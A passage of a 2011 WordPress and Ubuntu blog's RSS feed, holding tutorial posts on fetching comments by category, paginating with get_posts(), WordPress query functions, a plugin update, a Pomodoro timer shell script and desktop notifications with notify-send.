<p>What we have done here is that, first we fetch sub categories of the category specified so as to include comments on those posts too which are under a sub-category of the specified category. Then we build an array of all these categories, where we need to look up for comments. Then we fetch the posts ID under those categories and then we use a query to fetch the comments on those posts. Finally, we display them as per our need by iterating <strong>$comments_list</strong>.</p>
<p>In case you want to fetch the comments of a  particular user under a specific category, then you can just change the SQL query in the above code to this:</p>
<pre class="brush: php; title: ; notranslate">
$user_id = 1; // change this to the user ID either manually or let it come from some other code
$sql = &quot;SELECT comment_ID, comment_date, comment_content, comment_post_ID
 FROM {$wpdb-&gt;comments} WHERE
 comment_post_ID in (&quot;.implode(',', $posts).&quot;) AND comment_approved = 1 AND user_id = $user_id
 ORDER by comment_date DESC LIMIT $ppp OFFSET $custom_offset&quot;;
</pre>
<p>I have used simple names for variables here to make it easy to understand. Always take care to provide your code in its own namespace, choose unique (non-generic) names. Read <a href="http://andrewnacin.com/2010/05/11/in-wordpress-prefix-everything/">prefix everything in WordPress</a>.</p>
<p>Need help? Got questions? Comment section is all yours! <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The post <a href="http://blog.ashfame.com/2011/04/get-comments-category-wordpress/">Fetch comments of a specific category in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=8Z80Kbjv3kA:34cYFe1KNT4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=8Z80Kbjv3kA:34cYFe1KNT4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=8Z80Kbjv3kA:34cYFe1KNT4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=8Z80Kbjv3kA:34cYFe1KNT4:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=8Z80Kbjv3kA:34cYFe1KNT4:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/8Z80Kbjv3kA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/get-comments-category-wordpress/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/04/get-comments-category-wordpress/</feedburner:origLink></item>
		<item>
		<title>WordPress plugin Facebook Like Thumbnail Updates</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/A24FVjszfLU/</link>
		<comments>http://blog.ashfame.com/2011/04/wordpress-plugin-facebook-like-thumbnail-updates/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 21:48:00 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[Tips n Tricks]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress plugin]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=912</guid>
		<description><![CDATA[<p>I have updated my WordPress plugin to fix Facebook Like Thumbnails to version 0.2 which I am sure will make the existing users happy! Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/wordpress-plugin-facebook-like-thumbnail-updates/">WordPress plugin Facebook Like Thumbnail Updates</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>I have updated my WordPress plugin to fix Facebook Like Thumbnails to version 0.2 which I am sure will make the existing users happy! <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would have to delete the folder &#8220;<strong>facebook-like-thumbnail</strong>&#8221; folder in your plugins folder (<strong>/wp-content/plugins/</strong>) and then reinstall the plugin by typing &#8220;<strong>Facebook Like Thumbnail</strong>&#8221; in <strong>Add New Plugins</strong> screen. I apologise for the issue, please excuse me, I am not used to pushing updates to public repositories.</p>
<p>The plugin now features an options pages which can be found under <strong>Settings</strong> &gt; <strong>Facebook Like Thumbnail</strong>. You can specify your default thumbnail image on that page, no more code edits are required. This was a necessary move as the users would have to edit the plugin to specify their default image after every upgrade.</p>
<p>The plugin now supports <strong>featured thumbnails</strong> and <strong>NextGEN galleries</strong> (other than the slideshow ones).</p>
<p>The plugin picks the thumbnail in the following order (whichever is found first)</p>
<ul>
<li>If its a post or page
<ul>
<li>Featured Thumbnail</li>
<li>First Image in the post</li>
<li>Default</li>
</ul>
</li>
<li>If its a Front Page or Search Page
<ul>
<li>Default</li>
</ul>
</li>
<li>Anything else
<ul>
<li>First image in the first post of the loop</li>
<li>Default</li>
</ul>
</li>
</ul>
<p><strong><a href='http://wordpress.org/extend/plugins/facebook-like-thumbnail/'>Facebook Like Thumbnail</a></strong> <br/></p><p>Author: <a href="http://blog.ashfame.com/">Ashfame</a>, version: 0.2, updated: April 16, 2011, <br/>Requires WP version: 2.7 or higher, tested up to: 3.1.4.<br/><a href="http://downloads.wordpress.org/plugin/facebook-like-thumbnail.0.2.zip">Download</a> (34 255 hits) <img src="http://blog.ashfame.com/wp-content/plugins/my-wordpress-plugin-info/img/full.png"/><img src="http://blog.ashfame.com/wp-content/plugins/my-wordpress-plugin-info/img/full.png"/><img src="http://blog.ashfame.com/wp-content/plugins/my-wordpress-plugin-info/img/full.png"/><img src="http://blog.ashfame.com/wp-content/plugins/my-wordpress-plugin-info/img/full.png"/><img src="http://blog.ashfame.com/wp-content/plugins/my-wordpress-plugin-info/img/half.png"/> (29 votes)</p>
<p>Adding the author avatar on author pages to be used as thumbnail and ignoring smilies as a possible match for thumbnail are on my To-do lists. If you have any suggestions, comments section is all yours.</p>
<p>Also the plugin can be totally uninstalled by using the delete option from WordPress dashboard, it won&#8217;t leave anything behind in the database.</p>
<p>I have tried to keep the plugin as fast as it can be. If any developer can provide any suggestions/improvements, I would love that. If you have any questions or facing any issues because of the early upgrade or need any help, give me a shout in the comments.</p>
<p>The post <a href="http://blog.ashfame.com/2011/04/wordpress-plugin-facebook-like-thumbnail-updates/">WordPress plugin Facebook Like Thumbnail Updates</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=A24FVjszfLU:nLgU9vzkKkI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=A24FVjszfLU:nLgU9vzkKkI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=A24FVjszfLU:nLgU9vzkKkI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=A24FVjszfLU:nLgU9vzkKkI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=A24FVjszfLU:nLgU9vzkKkI:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/A24FVjszfLU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/wordpress-plugin-facebook-like-thumbnail-updates/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		<media:content url="http://feedproxy.google.com/~r/AshfameBlog/~5/wkY-I4qmoi4/facebook-like-thumbnail.0.2.zip" fileSize="39853" type="application/octet-stream" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> I have updated my WordPress plugin to fix Facebook Like Thumbnails to version 0.2 which I am sure will make the existing users happy! Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has d</itunes:subtitle><itunes:summary> I have updated my WordPress plugin to fix Facebook Like Thumbnails to version 0.2 which I am sure will make the existing users happy! Some of the users who quickly upgraded might be facing issues because of a silly mistake on my part. If the plugin has disappeared from the plugins listing, then you would [...] The post WordPress plugin Facebook Like Thumbnail Updates appeared first on Ashfame | Blog.</itunes:summary><itunes:keywords>How To / Tutorials, Tips n Tricks, Facebook, plugin, WordPress, WordPress plugin</itunes:keywords><feedburner:origLink>http://blog.ashfame.com/2011/04/wordpress-plugin-facebook-like-thumbnail-updates/</feedburner:origLink><enclosure url="http://feedproxy.google.com/~r/AshfameBlog/~5/wkY-I4qmoi4/facebook-like-thumbnail.0.2.zip" length="39853" type="application/octet-stream" /><feedburner:origEnclosureLink>http://downloads.wordpress.org/plugin/facebook-like-thumbnail.0.2.zip</feedburner:origEnclosureLink></item>
		<item>
		<title>Pagination approach using get_posts() in WordPress</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/o8yuDboT3R0/</link>
		<comments>http://blog.ashfame.com/2011/04/pagination-approach-get-posts-wordpress/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 18:31:05 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Code Snippets]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=910</guid>
		<description><![CDATA[<p>Yesterday, I talk about using WP_query or query_posts or get_posts and today I am going to explain the approach I use to have pagination using get_posts(). The other two methods take care of the pagination by them self by just passing the paged parameter along with the function call. But get_posts() is more of a [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/pagination-approach-get-posts-wordpress/">Pagination approach using get_posts() in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, I talk about using <a href="http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/">WP_query or query_posts or get_posts</a> and today I am going to explain the approach I use to have pagination using <strong>get_posts()</strong>. The other two methods take care of the pagination by them self by just passing the <em>paged</em> parameter along with the function call. But <strong>get_posts()</strong> is more of a raw function which I used to create paginated data on the basis of already existing pagination.</p>
<p>Here for the sake of explanation of approach, I am making the content paginated where content is already paginated. We will make our extra content work in order to the global <strong>$paged</strong> variable.</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
// Posts Per Page option
$ppp = get_option('posts_per_page');

if (!is_paged()) {
	$custom_offset = 0;
} else {
	$custom_offset = $ppp*($paged-1);
}

// Lets suppose we are querying for posts of a certain author in a particular category
$args = array(
'numberposts' =&gt; $ppp,
'offset' =&gt; $custom_offset,
'category' =&gt; 7, // Category ID of category 'Articles'
'author' =&gt; $author_id
);

$posts_data = get_posts( $args );

if ( count( $posts_data ) &gt; 0 ) {
	echo '&lt;ul&gt;';
	foreach ( $posts_data as $post ) {
		echo '&lt;li&gt;&lt;a href=&quot;'.get_permalink( $post-&gt;ID ).'&quot;&gt;'.$post-&gt;post_title.'&lt;/a&gt;&lt;/li&gt;';
	}
	echo '&lt;/ul&gt;';
} else {
	echo '&lt;p&gt;No articles by this user&lt;/p&gt;';
}
?&gt;
</pre>
<p>This way the code make use of the global <strong>$paged</strong> variable to see which page it is on, and set the value of offset accordingly making the fetched content using get_posts itself paginated. On Page 1, the offset will be zero, it will fetch the posts limited by the posts per page value and on Page 2, the offset will be calculated to leave the posts already shown on previous page and query further posts limited by the posts per page value.</p>
<p>Got questions? Comment section is down below.</p>
<p>The post <a href="http://blog.ashfame.com/2011/04/pagination-approach-get-posts-wordpress/">Pagination approach using get_posts() in WordPress</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=o8yuDboT3R0:7UPERwHRfNU:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=o8yuDboT3R0:7UPERwHRfNU:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=o8yuDboT3R0:7UPERwHRfNU:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=o8yuDboT3R0:7UPERwHRfNU:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=o8yuDboT3R0:7UPERwHRfNU:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/o8yuDboT3R0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/pagination-approach-get-posts-wordpress/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/04/pagination-approach-get-posts-wordpress/</feedburner:origLink></item>
		<item>
		<title>Which one to use WP_Query vs query_posts() vs get_posts()?</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/xeOiP3f8tO4/</link>
		<comments>http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 19:57:15 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[Tips n Tricks]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=909</guid>
		<description><![CDATA[<p>There are several instances where we want to display content other than what WordPress displays at a particular page. There are three methods which you can use, but each of them is meant for a specific purpose, otherwise why would they have existed? Makes sense? Good! Some tutorials use one, some other and many of [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/">Which one to use WP_Query vs query_posts() vs get_posts()?</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>There are several instances where we want to display content other than what WordPress displays at a particular page. There are three methods which you can use, but each of them is meant for a specific purpose, otherwise why would they have existed? Makes sense? Good!</p>
<p>Some tutorials use one, some other and many of them are in fact incorrect because they might seem to get the job done but in certain cases they cause side effects, such as modified global variables on which other functionality may rely.</p>
<p>The fight is in between using WP_Query or query_posts or get_posts. <a href="http://www.rarst.net/">Rarst</a> created a great chart to explain what is going on in the three approaches to make it easy to understand the working. which I totally recommend checking out.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/query_functions.png" alt="wordpress query" /></p>
<p>Rarst explained the difference quite precisely as follows:</p>
<blockquote>
<ul>
<li><a rel="nofollow" href="http://codex.wordpress.org/Function_Reference/query_posts"><code>query_posts()</code></a> should be used in one and only case if you need to modify main query of  page. It sets a lot of global variables and will lead to obscure and  horrible bugs if used in any other place and for any other purpose;</li>
<li><a rel="nofollow" href="http://codex.wordpress.org/Template_Tags/get_posts"><code>get_posts()</code></a> is very similar in mechanics and accepts same arguments, but returns  array of posts, doesn&#8217;t modify global variables and is safe to use  anywhere;</li>
<li><a rel="nofollow" href="http://codex.wordpress.org/Function_Reference/WP_Query"><code>WP_Query</code></a> class power both behind the scenes, but you can also create and work  with own object of it. Bit more complex, less restrictions, also safe to  use anywhere.</li>
</ul>
<p>I want to stress that <code>query_post()</code> wrongfully overused in <strong>many</strong> tutorials around. It is one of the most widespread bad practices.</p></blockquote>
<p>Next time you need to make WordPress to show content other than what it does by default, take care to choose the right method. If there is something that you don&#8217;t understand in the chart, leave a comment here and I will happily explain. <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The post <a href="http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/">Which one to use WP_Query vs query_posts() vs get_posts()?</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=xeOiP3f8tO4:pZwwQv9R5rA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=xeOiP3f8tO4:pZwwQv9R5rA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=xeOiP3f8tO4:pZwwQv9R5rA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=xeOiP3f8tO4:pZwwQv9R5rA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=xeOiP3f8tO4:pZwwQv9R5rA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/xeOiP3f8tO4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/04/difference-wp-query-vs-query-posts-vs-get-posts/</feedburner:origLink></item>
		<item>
		<title>Pomodoro Timer in Ubuntu</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/wHKmA56HkR8/</link>
		<comments>http://blog.ashfame.com/2011/04/pomodoro-timer-in-ubuntu/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 18:31:12 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[NotifyOSD]]></category>
		<category><![CDATA[Shell Script]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=906</guid>
		<description><![CDATA[<p>I finally decided to try Pomodoro technique to see how well it can improve my productivity as I am a lot disorganised, lazy sorta geek (well who isn&#8217;t?). So I built up a small script which acts as a Pomodoro timer for me using Ubuntu notification system (Do read it if you haven&#8217;t, you need [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/pomodoro-timer-in-ubuntu/">Pomodoro Timer in Ubuntu</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>I finally decided to try Pomodoro technique to see how well it can improve my productivity as I am a lot disorganised, lazy sorta geek (well who isn&#8217;t?). So I built up a small script which acts as a Pomodoro timer for me using <a href="http://blog.ashfame.com/2011/04/ubuntu-notification-system/">Ubuntu notification system</a> (Do read it if you haven&#8217;t, you need to install lib-notify package for this script to work).</p>
<p>I have created a launcher in my top panel, with which I start a new <em>pomodori</em> (name for a new period of time, lets call it a Pomodoro anyway). It calls up the script which alerts me that a new Pomodoro (time period) has started and then alert me again when the timer ends and I should take a small break.</p>
<p>Here is the script:</p>
<pre class="brush: bash; title: ; toolbar: false; notranslate">
DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png &quot;New Pomodoro starts&quot; &quot;You have 25 minutes to work.&quot;
# 25 minutes timer
sleep 1500
DISPLAY=:0 notify-send -t 1000 -i /home/ashfame/Dropbox/Ubuntu/icons/pomodoro.png &quot;Pomodoro ends&quot; &quot;Take a break!&quot;
</pre>
<p>As soon as I click the launcher, the first notification appears telling me that a new Pomodoro has started.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/pomodoro-starts.png" alt="pomodoro starts" /></p>
<p>Then it sleeps for 1500 secs = 25 minutes. And after that the second notification appears telling me that the Pomodoro has ended.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/pomodoro-ends.png" alt="pomodoro ends" /></p>
<p>I just take a 3-5 minutes break or even longer (I am the boss!), and then I again click on the launcher starting another Pomodoro and I work for another 25 minutes. You can use the same tomato icon, if you want.</p>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/pomodoro.png" alt="pomodoro" /></p>
<p>Enjoy the awesomeness of Ubuntu and ditch Windows, yes I am an Ubuntu advocate and will push you to switch all the time <img src='http://blog.ashfame.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Have your say in the comments!</p>
<p>The post <a href="http://blog.ashfame.com/2011/04/pomodoro-timer-in-ubuntu/">Pomodoro Timer in Ubuntu</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=wHKmA56HkR8:iPqnd2TGxhA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=wHKmA56HkR8:iPqnd2TGxhA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=wHKmA56HkR8:iPqnd2TGxhA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/AshfameBlog?a=wHKmA56HkR8:iPqnd2TGxhA:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/AshfameBlog?i=wHKmA56HkR8:iPqnd2TGxhA:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/AshfameBlog/~4/wHKmA56HkR8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.ashfame.com/2011/04/pomodoro-timer-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://blog.ashfame.com/2011/04/pomodoro-timer-in-ubuntu/</feedburner:origLink></item>
		<item>
		<title>Using Ubuntu Notification System – NotifyOSD</title>
		<link>http://feedproxy.google.com/~r/AshfameBlog/~3/PqbpocvyxTA/</link>
		<comments>http://blog.ashfame.com/2011/04/ubuntu-notification-system/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 11:30:58 +0000</pubDate>
		<dc:creator>Ashfame</dc:creator>
				<category><![CDATA[How To / Tutorials]]></category>
		<category><![CDATA[Tips n Tricks]]></category>
		<category><![CDATA[NotifyOSD]]></category>
		<category><![CDATA[Shell Script]]></category>
		<category><![CDATA[Terminal]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.ashfame.com/?p=904</guid>
		<description><![CDATA[<p>Ubuntu features a notification system, where you can see a message notifying you about some particular event. Rhythmbox uses it to show the next track when a track ends, Filezilla shows a notification that file transfers are completed when its window is not in focus (Very handy!) and so on several applications can use it [...]</p><p>The post <a href="http://blog.ashfame.com/2011/04/ubuntu-notification-system/">Using Ubuntu Notification System &#8211; NotifyOSD</a> appeared first on <a href="http://blog.ashfame.com">Ashfame | Blog</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Ubuntu features a notification system, where you can see a message notifying you about some particular event. Rhythmbox uses it to show the next track when a track ends, Filezilla shows a notification that file transfers are completed when its window is not in focus (Very handy!) and so on several applications can use it to notify users in the same way (keeping the UI consistent, which is a good design principle).</p>
<h2>Rhythmbox Song Notification</h2>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/rhythmbox-notify.png" alt="rhythmbox notify" /></p>
<h2>Filezilla Transfer Complete Notification</h2>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/filezilla-notify.png" alt="filezilla notify" /></p>
<p>We too can use this easily in our shell scripts. It supports more functionality if you are working in Python or C (Read <a href="https://wiki.ubuntu.com/NotifyOSD">Ubuntu NotifyOSD</a>) but for shell scripts it does the pretty fine job too, if you just want to make Ubuntu work for you.</p>
<h2>Using NotifyOSD in shell scripts</h2>
<p>Make sure you have <strong>libnotify-bin</strong> installed, if not, just install it by typing the following command in a terminal:</p>
<pre class="brush: bash; title: ; toolbar: false; notranslate">sudo apt-get install libnotify-bin</pre>
<h2><em>notify-send</em> &#8211; Program to send desktop notifications</h2>
<p>With notify-send you can sends desktop notifications to the user via a notification daemon from the command line.  These notifications can be used to inform the user about an event or display some form of information without getting in the user’s way.</p>
<p>Check out the man page for it, to see the options it has to offer &#8211; <strong>man notify-send</strong></p>
<p>Enter this in a terminal, <strong>notify-send &#8220;Hello&#8221; &#8220;this is just a test&#8221;</strong> and you will see the notification appearing up on your desktop.I usually collect icons that I would like to use and then use them in notification bubbles in the following manner:</p>
<p>In terminal, you can use it like</p>
<pre class="brush: bash; title: ; toolbar: false; notranslate">notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png &quot;Hello Ashfame&quot; &quot;This is your computer, lets start with work&quot;</pre>
<p>In a shell script, use it like (take care of the screen where you want to display the message &#8211; I am on a dual screen setup)</p>
<pre class="brush: bash; title: ; toolbar: false; notranslate">DISPLAY=:0 notify-send -t 2000 -i /home/ashfame/Dropbox/Ubuntu/icons/console.png &quot;Hello Ashfame&quot; &quot;This is your computer, lets start with work&quot;</pre>
<p><img class="aligncenter" src="http://blog.ashfame.com/wp-content/uploads/2011/04/notify-example.png" alt="notify example" /></p>
<p>Time parameter (-t) lets you specify the time in miliseconds after which the notification will fade away. Its affected with a bug right now (will work on the default timeout even if you set it, but will be fixed in upcoming releases anyway, so better use it).</p>
<p>Icon parameter (-i) is used to specify the icon which is to be used in the notification.</p>
<p>You can also use it to notify you when a certain command has completed in the terminal, like when you were compiling some code or anything which takes a good amount of time so that you can get to know the moment it is ready. As an example, you can use it like</p>
<pre class="brush: bash; title: ; toolbar: false; notranslate">make &amp;&amp; notify-send &quot;DONE&quot;</pre>
<h2>Making practical use of NotifyOSD using notify-send</h2>
